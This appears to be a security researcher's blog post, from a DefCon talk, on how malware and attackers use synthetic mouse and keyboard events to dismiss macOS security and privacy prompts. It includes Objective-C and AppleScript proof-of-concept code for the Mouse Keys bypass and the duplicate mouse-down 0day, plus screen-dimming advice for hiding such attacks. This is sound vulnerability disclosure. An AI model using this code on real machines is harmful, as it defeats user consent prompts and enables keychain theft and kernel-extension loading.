Synthetic Reality

breaking macOS one click at a time







Love these blog posts? You can support my tools & writing on patreon :)

Background

Note:

This blog posts mirrors my recent DefCon talk, "The Mouse is Mightier than the Sword" (though this post does include some new technical details!).



The full slides from this talk, can be viewed here.



A History of "Synthetic" Attacks

Note:

The attacks described in this section, are thwarted (read: blocked) on recent versions of macOS!



Later in this post however, we'll disclose some 0days that work even on the latest released version of Apple's OS.



Imagine you're an attacker (or piece of malware) that's successfully just gained access to a Mac. Hooray!You probably want to do things like:■ dump the user's keychain■ determine the system's (geo)location■ enumerate the user's contacts■ load a kernel extension (kext)■ bypass 3rd-party security productsUnfortunately (for you, the attacker) on recent versions of macOS, a handful of new security mechanisms prevent these actions. Now, these security mechanisms will all generate alerts in response to such actions. Alerts, that by design, only the user can interact with, for example to approve the action:However if we can find a way to programmatically, or "synthetically" interact with these alerts, we can generically bypass all these security mechanisms in one fell swoop. That is to say, if such an attack exists, the UI becomes the single point of failure! This blog post delves into many aspects of "synthetically" events on macOS...from malware abusing these features, to new 0day attacks that remain unpatched!The idea of "synthetically" (or programmatically) interacting with the UI for nefarious purposes is not a novel idea. Let's look at some malware that (ab)uses such events.

OSX.FruitFly

was written over a decade ago, yet only discovered in early 2017. I previously wrote a lengthy white paper on this malware ( "Offensive Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C Server" ), and noted it's ability to generate both "synthetic" mousekeyboard events:Here's a neat gif, illustrating how a remote attacker could remotely dismiss a (keychain) security access prompt via

OSX.FruitFly

Another piece of Mac malware (from 2011) that leveraged "synthetic" events was OSX.DevilRobber As noted by the talented @noarfromspace , it dumped the user's keychain, bypassing the "keychain access" prompt via a few simple

AppleScript

Amazed to see that this OS X Keychain flow was already part of OSX.DevilRobber years ago... so 2011! pic.twitter.com/RRE3k7UqjH — noar (@noarfromspace) September 2, 2015

commands:Adware also has been known to make use of "synthetic" events. For example,

OSX.Genieo

installs itself as a browser extension. However, in order to accomplish this,

OSX.Genieo

must bypass a security prompt which attempts to prevent the programmatic installation of (Safari) browser extensions. And how does the adware bypass this alert? By simply sending a "synthetic" mouse event to click "Allow"!Specifically, dumping

OSX.Genieo

's methods (via jtool ), we can see a class named

SafariExtensionInstaller

$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS



@interface SafariExtensionInstaller : ?

...

/* 2 - 0x1000376e1 */ + getPopupPosition;

...

/* 4 - 0x100037c53 */ + clickOnInstallButton;

/* 5 - 0x100037d71 */ + clickOnAllowButtonKeychain;

....

/* 8 - 0x100038450 */ + clickOnTrustButton;



Wonder what the

clickOnInstallButton

char +[SafariExtensionInstaller clickOnInstallButton]{



(@selector(getPopupPosition))(&var_40);



r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);

r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);

rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);



CGEventPost(0x0, r14);

CGEventPost(0x0, r15);

CGEventPost(0x0, rbx);



button does!?First it gets the location of the alert ("popup") via a call to a method aptly named

getPopupPosition

. Then it sends a few "synthetic" mouse events via the

CGEventCreateMouseEvent

and

CGEventPost

APIs. The

0x5

is a mouse move event, while

0x1

and

0x2

Defenses Against "Synthetic" Events

$ log show

tccd PID[44854] is checking access for target PID[44855]

tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown



execution error: System Events got an error: osascript is not allowed assistive access. (-1719)



correspond to left click down, then up. End result? the adware is able to dismiss the alert, and install itself as a malicious browser extension.On recent versions of macOS, Apple has implemented various defenses to thwart such "synthetic" attacks. However, these defenses are not generic, but instead protect only certain UI components (such as certain security or access prompts).On High Sierra (and possibly older versions of macOS), if one tries to send programmatic mouse events, for example to the keychain access prompt, the OS will detect and block this:Specifically macOS will check if the process generating the "synthetic" event has been afforded assistive access (and yes, the assistive access prompt is also protected against such attacks):Note that "assistive access" must be manually given to an application. Via the

System Preferences

application, you can view the applications given this right. Or, one can dump the (SIP-protected) OS privacy database,

/Library/Application Support/com.apple.TCC/TCC.db

"Synthetic" events generated via the

CoreGraphics

default 08:52:57.441538 -1000 tccd PID[209] is checking access for target PID[25349]

error 08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events



APIs, are now also filtered and blocked (but again, only when the target UI component is explicitly protected), as can be seen in the following system log output:If we grep for the "

Sender is prohibited from synthesizing events

" string, we find it in the

post_filtered_event_tap_data

int post_filtered_event_tap_data(int arg0, int arg1, int arg2, ...)



if (CGXSenderCanSynthesizeEvents() == 0x0) &&

(os_log_type_enabled(*_default_log, 0x10) != 0x0)) {

rbx = *_default_log;

_os_log_error_impl(..., "Sender is prohibited from synthesizing events",...);

}





int CGXSenderCanSynthesizeEvents() {

...



rax = sandbox_check_by_audit_token("hid-control", 0x0, rdx, rdx);



function in a core library.As we can see in the above decompilation, this error message is logged if the

CGXSenderCanSynthesizeEvents

functions returns 0 (false/NO). This will occur if the

sandbox_check_by_audit_token

method fails.As its name suggestions, the

sandbox_check_by_audit_token

function checks if the process sending the "synthetic" event has the

hid-control

entitlement. This check appears to be performed in the kernel, in the

mpo_iokit_check_hid_control_t

Bypassing Apple's Protections

function:Ok, let's don our hacker hats (black?, white?, gray?) and discuss some vulnerabilities and 0days! 😈My goal was simple: "synthetically" interact with any/all UI prompts (security, privacy, access, etc.) on a fully patched High Sierra box....to do thingslike dump the keychain, or approve a kernel extension to load!After spelunking around, I came across a feature named "Mouse Keys""Mouse Keys" are a documented feature of macOS that as Apple notes, allows you to use the keyboard as a mouse!hen Mouse Keys are enabled, for example to move the mouse to the right, one can simply press

O

(or numberpad

6

) on the keyboard. And to generate a mouse click? press

I

(or numberpad

5

):This begets the questions:■ Can "Mouse Keys" be enabled programmatically?■ Can a "synthetic" keyboard event, generate a trusted (read: allowed) "synthetic" mouse event?The answer to both questions is yes!First, we can use

AppleScript

to programmatically open the pane of the

System Preferences

application that has a checkbox for enabling "Mouse Keys". And use

CoreGraphics

//enable 'mouse keys'

void enableMK(float X, float Y){



//apple script

NSAppleScript* scriptObject =

[[NSAppleScript alloc] initWithSource:

@"tell application \"System Preferences\"

" \

"activate

" \

"reveal anchor \"Mouse\" of pane id \"com.apple.preference.universalaccess\"

" \

"end tell"];



//exec

[scriptObject executeAndReturnError:nil];



//let it finish

sleep(1);



//clicky clicky

CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);

CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);



return;

}



to send "synthetic" mouse check to enable:As Apple only protects certain UI components (such as security alerts), from "synthetic" events - and these UI components areprotected, we're good to go!To generate a programmatic mouse click, with "Mouse Keys" enabled, we first move the mouse, then send a "synthetic" keyboard event via

AppleScript

. Specifically we synthesize key

87

//click via mouse key

void clickAllow(float X, float Y)

{

//move mouse

CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved,

CGPointMake(X, Y), kCGMouseButtonLeft));



//apple script

NSAppleScript* script = [[NSAppleScript alloc] initWithSource:

@"tell application \"System Events\" to key code 87

"];



//exec

[script executeAndReturnError:nil];

}



As "Mouse Keys" is enabled, when keycode

87

(which maps to the numberpad

5

# ./sniffMK



event: key down

keycode: 0x57/87/5



event: key up

keycode: 0x57/87/5



event: left mouse down

(x: 146.207031, y: 49.777344)



event: left mouse up

(x: 146.207031, y: 49.777344)



), is "pressed" (even programmatically) the system converts it into a mouse click! This can be observed using my open-source mouse and keyboard sniffer, SniffMK An since theis doing the conversion of the keyboard to mouse event, and then "passing on" the mouse event (click), even protected UI components will accept and process the event! (As generally speaking, such protected components trust "synthetic" events when the source is the OS itself).So what can we do with this capability? Lots of things....like dumping and exfiltrating the user's keychain with all their private keys and unencrypted passwords:I responsibly reported this bug to Apple, who patched it as

CVE-2017-7150

//given some point {x, y}

// generate synthetic event...

CGPostMouseEvent(point, true, 1, true);

CGPostMouseEvent(point, true, 1, false);



, in a High Sierra Supplemental Update:But alas, "synthetic" issues still abound!First, I noticed that various privacy-related alerts (even on a fully-patched macOS 10.13.* box) blindingly accepted programmatic mouse events.For example, on recent versions of macOS, macOS displays alerts when code tries to access:■ the system's (user's) geolocation■ the user's contacts■ the user's calendar events■ ...and more!Since these alerts accept "synthetic" events, malware could simply dismiss them, programmatically:Here's a proof of concept attack that is able to ascertain the user's geolocation, by "synthetically" dismissing the OS's access alert:...you may be wondering, "Apple, why even present an alert if malware can so trivially bypass it?" Maybe they can provide and answer, as I'm at a loss!Ok, turns out there is and even a worse issue. An issue that allows unprivileged malware or an attacker to interact with "protected" UI components - such as High Sierra's "User Assisted Kernel Loading" interface. And yes this also works on a fully patched macOS 10.6.* system. Opps.Finding the bug, was an embarrassing accident. I was trying to test Apple's patch for

CVE-2017-7150

, and cut and paste some code incorrectly. The result, a lovely 0day!Recall one can send "synthetic" mouse events via the

CoreGraphics

//given some point {x, y}

// generate synthetic event...



//final param: true => mouse down

CGPostMouseEvent(point, true, 1, true);



//final param: false => mouse up

CGPostMouseEvent(point, true, 1, false);



framework. Normally for such a mouse click, you send two events: a mouse down event, followed by a mouse up event:However, if one copy & pastes the first line:

CGPostMouseEvent(point, true, 1, true);

...and forgets the change the final parameter from a

true

to

false

(to indicate a mouse), this will generate two mouse down events....which in theory should probably just be ignored. However, turns out this is not the case! Instead (via

SniffMK

# ./sniffMK



event: left mouse down

event source pid 951

event state 0 (synthetic)

(x: 1100.000000, y: 511.000000)



event: left mouse up

event source pid 0

event state 0 (synthetic)

(x: 1100.000000, y: 511.000000)



) we can observe that the system converts the second (invalid) mouse down, to a mouse up:The issue isn't so much that the second mouse down event is converted to a mouse up event, it's that it's done by the OS, which gives means the

source process id

of the event is

0

(i.e. the OS/system). As we noted, generally speaking, the UI (including security prompts and other protected components), allow "synthetic" events from the system (pid

0

$ log stream | grep mouse

Dropping mouse down event because sender's PID (899) isn't 0 or self (828)



). For example, sending a typical mouse down/up event to the "Allow" button of the "User Assisted Kernel Loading" interface, will be ignored with the following error:But what if the pid is

0

? As noted, this will be allowed!Hooray, we can now programmatically approve the loading of kernel extensions, even on a fully patched High Sierra system.On OSX/macOS, one has always needed to be root, to load such an extension. So what does this attack gain us? Or rather the question is, what is the point of "User Assisted Kernel Loading" in the first place?Well, on recent versions of macOS not only do you have to be root to load a kext, but that kext also has to be signed. And it's almost impossible to get a kernel code-signing certificate from Apple.But what an attacker (with root privileges) can do, (as detailed in my 2016 DefCon talk ), is:■ load a known vulnerable 3rd-party driver (that is legitimately signed)■ exploit that known vulnerability to gain arbitrary code execution in the context of the kernel.Apple's answer to this attack was "User Assisted Kernel Loading," which adds an extra layer of security by requiring that the user must manually approve the loading ofkext. Alas we've just shown that this "security" mechanisms was (via

CVE-2017-7150

Oh goody. The macOS security “feature” that has screwed me multiple times since I updated to High Sierra *is completely useless as a security feature*. https://t.co/KgoR0ZwWdj — Russell Keith-Magee (@freakboy3742) August 14, 2018

Invisibility

) and still is 100% broken. And who suffers? Yups, the 3rd-party developers who (unlike the bad guys) are forced to play by Apple's rules :(One obvious downside to these attacks that utilize "synthetic" events is that they are visible.Imagine you're sitting at your desk working on your Mac...when all of a sudden an alert pops up, and the mouse, seemingly on its own accord moves to the alert and clicks to dismiss it. You'd clearly know you've been hacked!Luckily (for the attacker/malware) there is a simple solution! Just dim the screen:Whilst the screen brightness is dimmed to

0.0

, the UI is still fully "present" and active (vs. when the display is locked or the screensaver is on). However, it will appear "off" to the user - and thus any "synthetic" attacks will be invisible.Now, you want to make sure you (as the attacker) dim the screen at an opportune time. For example:■ After a certain amount of user inactivity(Note: use the

CGEventSourceSecondsSinceLastEventType

API)■ While the display is going to sleep.In the latter scenario, code can detect when the display is about to go to sleep (via the

kIOMessageCanDevicePowerOff

notification). Here, it can quickly dim the screen to a brightness level of

0.0

Conclusion

and then perform any "synthetic" attack, before the display sleeps:By (ab)using "synthetic" events, malware or local attackers can bypass a myriad of macOS's built-in security mechanisms:And although Apple is aware of this attack vector, and has attempted to protect security and privacy related UI components of the OS, quite simply they have failed. Even on a fully patched High Sierra system, it is trivially possible to "synthetically" interact with, and thus dismiss such UI components...invisibly!Good news (well, for us Mac users), is that as of macOS Mojave (

10.14



love these blog posts & tools? you can support them via patreon ! Mahalo :)

) "synthetic" events are globally ignored by the OS (unless the user explicitly gives an application such permissions). And while this likely breaks a lot of legitimate applications, from a security point of view, this is clearly the right approach! So, kudos Cupertino!